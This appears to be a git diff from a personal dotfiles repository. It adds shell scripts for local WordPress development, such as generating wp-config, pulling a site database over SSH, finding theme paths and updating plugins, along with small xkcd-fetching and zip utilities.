cp wp-config-sample.php wp-config.php
|
||||
|
||||
|
||||
echo "Downloading Salts"
|
||||
curl "https://api.wordpress.org/secret-key/1.1/salt/" -sSo salts
|
||||
csplit wp-config.php '/AUTH_KEY/' '/NONCE_SALT/+1'
|
||||
cat xx00 salts xx02 | tr -d '\r' > wp-config.php
|
||||
rm salts xx00 xx01 xx02
|
||||
|
||||
|
||||
echo -e "Please enter the database name \c"
|
||||
read DBNAME
|
||||
wp config set 'DB_NAME' "$DBNAME" > /dev/null
|
||||
|
||||
wp config set 'DB_USER' "root" > /dev/null
|
||||
wp config set 'DB_PASSWORD' "root" > /dev/null
|
||||
wp config set 'DB_HOST' "localhost" > /dev/null
|
||||
|
||||
wp config set 'JQUERY' "/wp-includes/js/jquery/jquery.js" --type=constant > /dev/null
|
||||
|
||||
echo -e "Would you like to have debug on? [y/N] \c"
|
||||
read input
|
||||
input=$(echo -e $input | tr '[:upper:]' '[:lower:]' | head -c 1)
|
||||
if [ "$input" == "y" ]; then
|
||||
debug=true
|
||||
else
|
||||
debug=false
|
||||
fi
|
||||
|
||||
|
||||
if [[ "$debug" == "true" ]] ; then
|
||||
wp config set 'WP_DEBUG' 'true' --raw --type=constant > /dev/null
|
||||
wp config set 'SAVEQUERIES' 'true' --raw --type=constant > /dev/null
|
||||
else
|
||||
wp config set 'WP_DEBUG' 'false' --raw --type=constant > /dev/null
|
||||
wp config set 'SAVEQUERIES' 'false' --raw --type=constant > /dev/null
|
||||
fi
|
||||
|
||||
|
||||
# If wordpress is installed in a sub-directory, add redirects
|
||||
#if [[ "$subdirectory" == "true" ]]; then
|
||||
# echo "define( 'WP_CONTENT_DIR', dirname( __FILE__ ) . '/wp-content' );" >> "$DIR/wp-config.php"
|
||||
# echo "define( 'WP_CONTENT_URL', 'http://' . \$_SERVER['HTTP_HOST'] . '/wp-content' );" >> "$DIR/wp-config.php"
|
||||
#fi
|
||||
#echo "if ( !defined('ABSPATH') )" >> "$DIR/wp-config.php"
|
||||
#echo " define('ABSPATH',dirname(__FILE__) . '/'); " >> "$DIR/wp-config.php"
|
||||
#
|
||||
#echo "require_once(ABSPATH . 'wp-settings.php');" >> "$DIR/wp-config.php"
|
||||
#
|
68
bin/.bin/wordpress/get-site-database
Executable file
68
bin/.bin/wordpress/get-site-database
Executable file
|
@ -0,0 +1,68 @@
|
|||
#!/usr/bin/env bash
|
||||
|
||||
# A bash script to replace a local database with one on a server
|
||||
# It relies on wp being installed on both the server and the local machine
|
||||
# - Note, if using xampp, mamp .. you should make sure that mysql and php are
|
||||
# both in your $PATH
|
||||
# On your local machine, it assumes that WP is in a folder called public_html
|
||||
|
||||
# SSH entry from .ssh/config
|
||||
sshKey="$1"
|
||||
# The folder so search for on the remote server
|
||||
# the home folder is grepped for this so public should get public/ and public_html/
|
||||
sshFolder="${2:-public}"
|
||||
|
||||
# If the ssh entry isn't given, exit with a warning
|
||||
if [ -z "$sshKey" ]; then
|
||||
echo "Add an SSH entry"
|
||||
exit 1
|
||||
fi
|
||||
|
||||
# This command exits with a non-zero exit code if not a multisite
|
||||
wp site list 2>/dev/null >/dev/null
|
||||
if [ $? -eq 0 ]; then
|
||||
multisite="true"
|
||||
else
|
||||
multisite="false"
|
||||
fi
|
||||
|
||||
# Finds the local public_html folder
|
||||
public_html="${PWD%/public_html*}/public_html"
|
||||
# Gets the folder that we should Copy from
|
||||
sshFolder="$(ssh "$sshKey" ls | grep "$sshFolder")"
|
||||
# gets the fell path of the folder for the path replace later on
|
||||
sshFolderPath="$(ssh "$sshKey" "cd $sshFolder; pwd")"
|
||||
if [ "$multisite" == "true" ]; then
|
||||
# Gets an array of domains on the remote server
|
||||
remoteDomains=($(ssh "$sshKey" "cd $sshFolder; wp site list 2> /dev/null" | cut -f 2 | tail -n +2 | sed -E "s/https?:\/\///g" | sed -E "s/\/$//g"))
|
||||
# Gets an array of domains on the local server
|
||||
localDomains=($(wp site list 2> /dev/null | cut -f 2 | tail -n +2 | sed -E "s/https?:\/\///g" | sed -E "s/\/$//g"))
|
||||
else
|
||||
# puts the site url in an array
|
||||
remoteDomains=($(ssh "$sshKey" "cd $sshFolder; wp option get siteurl 2> /dev/null" | sed -E "s/https?:\/\///g" | sed -E "s/\/$//g"))
|
||||
# Gets an array of domains on the local server
|
||||
localDomains=($(wp option get siteurl 2> /dev/null | sed -E "s/https?:\/\///g" | sed -E "s/\/$//g"))
|
||||
fi
|
||||
|
||||
echo "Downloading database"
|
||||
# Dumps the database into our public_html folder
|
||||
ssh "$sshKey" "cd $sshFolder; wp db export -" > "$public_html"/db.dump
|
||||
|
||||
# Imports the new database
|
||||
wp db import "$public_html"/db.dump 2> /dev/null > /dev/null
|
||||
|
||||
# Loops through the domains and does a search and replace
|
||||
for (( i = 0; i < ${#remoteDomains[@]}; i++ )); do
|
||||
echo "${remoteDomains[$i]} -> ${localDomains[$i]}"
|
||||
wp search-replace --all-tables --url="${remoteDomains[$i]}" "${remoteDomains[$i]}" "${localDomains[$i]}" 2> /dev/null > /dev/null
|
||||
done
|
||||
|
||||
# Searches and replaces the paths
|
||||
echo "$sshFolderPath -> $public_html"
|
||||
wp search-replace --all-tables --url="${localDomains[0]}" "$sshFolderPath" "$public_html" 2> /dev/null > /dev/null
|
||||
|
||||
# Removes the db.dump that we created
|
||||
rm "$public_html"/db.dump
|
||||
|
||||
#Makes sure everything in the uploads folder on the server is also on the local
|
||||
rsync -ruh --progress "${sshKey}:${sshFolder}/wp-content/uploads/" "${public_html}/wp-content/uploads"
|
52
bin/.bin/wordpress/getthemepath
Executable file
52
bin/.bin/wordpress/getthemepath
Executable file
|
@ -0,0 +1,52 @@
|
|||
#!/usr/bin/env zsh
|
||||
|
||||
# Small script that echos the path of a wordpress theme
|
||||
#
|
||||
# By default it will echo the path of the active theme. If an argument is given, it will grep the list of themes with the argment and return the path for the first
|
||||
#
|
||||
# It assumes that the wordpress is in a folder called public_html or public_html/wp. It should be run from inside this directory
|
||||
#
|
||||
# It can also be run inside a wiki directory if public_html is a sibling of wiki
|
||||
#
|
||||
# @author jab2870
|
||||
# @requires wp
|
||||
|
||||
# Gets the public html folder from any sub folder or the wiki folder
|
||||
public_html="${${PWD%/public_html*}%/wiki*}/public_html"
|
||||
# Checks the public_html directory exists
|
||||
if [ -d $public_html ]; then
|
||||
|
||||
# Checks to see if wp is in a subdirectory called wp
|
||||
if [ -d $public_html/wp ]; then
|
||||
wpPath=$public_html/wp;
|
||||
else
|
||||
wpPath=$public_html;
|
||||
fi
|
||||
|
||||
# This assumes the domain for the site. It should be changed according to your setup
|
||||
# It assumes here that the domain is the same as public_html folder with .local.jh appended
|
||||
# This is needed if using a multisite setup
|
||||
domain="$(basename $(dirname $public_html ) ).local.jh"
|
||||
|
||||
# If we have an argument
|
||||
if [ ! -z "$1" ]; then
|
||||
# Try and find the theme containing the argument and return it's path
|
||||
theme=$(dirname $(wp --path="$wpPath" --url="$domain" theme path $(wp --path="$wpPath" --url="$domain" theme list 2> /dev/null | grep "$1" | head -n 1 | awk '{print $1}') 2> /dev/null ))
|
||||
else
|
||||
# Otherwise, get the active plugin
|
||||
theme=$(dirname $(wp --path="$wpPath" --url="$domain" theme path $(wp --path="$wpPath" --url="$domain" theme list 2> /dev/null | grep "active" | grep -v "inactive" | awk '{print $1}') 2> /dev/null ))
|
||||
fi
|
||||
|
||||
# If we have an answer
|
||||
if [ -d $theme ]; then
|
||||
# Echo it
|
||||
echo $theme
|
||||
else
|
||||
# Otherwise we can fail
|
||||
>&2 echo "cannot find theme"
|
||||
exit 2
|
||||
fi
|
||||
else
|
||||
>&2 echo "Cannot find public_html"
|
||||
exit 1
|
||||
fi
|
9
bin/.bin/wordpress/update3rdPartyPlugins
Executable file
9
bin/.bin/wordpress/update3rdPartyPlugins
Executable file
|
@ -0,0 +1,9 @@
|
|||
#!/usr/bin/bash
|
||||
|
||||
pluginFolder="/home/jonathan/WPPlugins"
|
||||
for dir in $pluginFolder/*/; do
|
||||
cd $dir
|
||||
name=${PWD##*/}
|
||||
echo $name | toilet -w 200
|
||||
/home/jonathan/.gem/ruby/2.4.0/bin/git-svn-mirror update
|
||||
done
|
11
bin/.bin/wordpress/updatePlugin
Executable file
11
bin/.bin/wordpress/updatePlugin
Executable file
|
@ -0,0 +1,11 @@
|
|||
#!/usr/bin/sh
|
||||
if [ -n "$1" ]; then
|
||||
plugin=$(wp plugin list 2> /dev/null | grep available | grep $1 | head -n 1 | awk '{print $1}')
|
||||
else
|
||||
plugin=$(wp plugin list 2> /dev/null | grep available | head -n 1 | awk '{print $1}')
|
||||
fi
|
||||
echo "$plugin"
|
||||
versions=$(wp plugin update $plugin 2> /dev/null | tail -n 2 | head -n 1 | awk '{print $2 "->" $3}')
|
||||
echo "$versions"
|
||||
git add .
|
||||
git commit -m "Update $plugin $versions"
|
10
bin/.bin/wordpress/wpLookup
Executable file
10
bin/.bin/wordpress/wpLookup
Executable file
|
@ -0,0 +1,10 @@
|
|||
#!/usr/bin/env sh
|
||||
folder="$HOME/.local/share/Zeal/Zeal/docsets/WordPress.docset/Contents/Resources/Documents/developer.wordpress.org/reference/"
|
||||
file=$(find "$folder" -name "index.html" -not -path "*/page/*" -not -path "*/since/*" |
|
||||
awk -F '/' '{print "(" $(NF-2) ") " $(NF-1)}' |
|
||||
rofi -dmenu |
|
||||
tr -d '()' |
|
||||
awk '{print $1 "/" $2 "/index.html"}')
|
||||
#file=$(find "$folder" -name "index.html" -not -path "*/methods/*" )
|
||||
#echo "$file"
|
||||
echo "$folder$file" | xargs qutebrowser
|
54
bin/.bin/wordpress/wp_urls
Executable file
54
bin/.bin/wordpress/wp_urls
Executable file
|
@ -0,0 +1,54 @@
|
|||
#!/usr/bin/env zsh
|
||||
|
||||
function get_children(){
|
||||
local parentid=${1:-0}
|
||||
local depth=${2:-0}
|
||||
wp --url="$domain" --post_type="$post_type" --post_parent="$parentid" --format="csv" post list | tail -n +2 | sort | while read line; do
|
||||
newid=$(echo "$line" | awk -F ',' '{print $1}')
|
||||
pagename=$(echo "$line" | awk -F ',' '{print $2}')
|
||||
slug=$(echo "$line" | awk -F ',' '{print $3}')
|
||||
|
||||
echo -n "$pagename$seperator" | tr -d '"'
|
||||
for i in $(seq 0 $depth); do
|
||||
echo -n "$seperator"
|
||||
done
|
||||
echo "$slug/"
|
||||
get_children "$newid" "$((depth+1))"
|
||||
|
||||
done
|
||||
}
|
||||
|
||||
seperator="§"
|
||||
public_html="${${PWD%/public_html*}%/wiki*}/public_html"
|
||||
if [ -d $public_html ]
|
||||
then
|
||||
if [ -d $public_html/wp ]
|
||||
then
|
||||
wpPath=$public_html/wp
|
||||
else
|
||||
wpPath=$public_html
|
||||
fi
|
||||
|
||||
domain="$(basename $(dirname $public_html ) ).local.jh"
|
||||
post_type="post"
|
||||
|
||||
while [[ $# -gt 0 ]]; do
|
||||
case "$1" in
|
||||
"--domain")
|
||||
domain="$2"
|
||||
shift
|
||||
shift
|
||||
;;
|
||||
"--post_type")
|
||||
post_type="$2"
|
||||
shift
|
||||
shift
|
||||
;;
|
||||
esac
|
||||
done
|
||||
|
||||
get_children
|
||||
|
||||
|
||||
fi
|
||||
|
13
bin/.bin/xkcd
Executable file
13
bin/.bin/xkcd
Executable file
|
@ -0,0 +1,13 @@
|
|||
#!/usr/bin/bash
|
||||
comic=$1
|
||||
if [[ "$comic" == "" ]]; then
|
||||
json=$(curl https://xkcd.com/info.0.json 2> /dev/null)
|
||||
elif [[ "$comic" == "random" ]] || [[ "$comic" == "r" ]]; then
|
||||
latest=$(curl https://xkcd.com/info.0.json 2> /dev/null | /usr/bin/jq ".num")
|
||||
number=$(shuf -i1-$latest -n1)
|
||||
json=$(curl https://xkcd.com/$number/info.0.json 2> /dev/null)
|
||||
else
|
||||
json=$(curl https://xkcd.com/$comic/info.0.json 2> /dev/null)
|
||||
fi
|
||||
echo $json | /usr/bin/jq -C
|
||||
echo $json | /usr/bin/jq ".img" | xargs feh
|
45
bin/.bin/zip-recent
Executable file
45
bin/.bin/zip-recent
Executable file
|
@ -0,0 +1,45 @@
|
|||
#!/usr/bin/sh
|
||||
|
||||
# A script to create a zip archive of any recentally modified files
|
||||
|
||||
|
||||
# Set the defaults
|
||||
mtime="7"
|
||||
filename=""
|
||||
|
||||
while [ $1 ]; do
|
||||
case $1 in
|
||||
-h|--help)
|
||||
echo "Zips recentally modified files"
|
||||
echo ""
|
||||
echo -e "Use this to create a zip archive of recentally modified files"
|
||||
echo -e "Usage: zip-recent [options] filename"
|
||||
echo ""
|
||||
echo -e "Options"
|
||||
echo -e "\t-mtime\t\tThe number of days that should be considered recent [default=$mtime]"
|
||||
exit 0
|
||||
;;
|
||||
-mtime)
|
||||
shift
|
||||
mtime="$1"
|
||||
shift
|
||||
;;
|
||||
*)
|
||||
filename="$1"
|
||||
shift
|
||||
;;
|
||||
esac
|
||||
done
|
||||
|
||||
if [ "$filename" = "" ]; then
|
||||
echo "You need to enter a filename"
|
||||
exit 1
|
||||
fi
|
||||
|
||||
# Make sure the filename ends with .zip
|
||||
filename="${filename%\.zip}.zip"
|
||||
|
||||
|
||||
find . -type f -mtime -$mtime -exec zip $filename {} \;
|
||||
|
||||
|
Loading…
Add table
Add a link
Reference in a new issue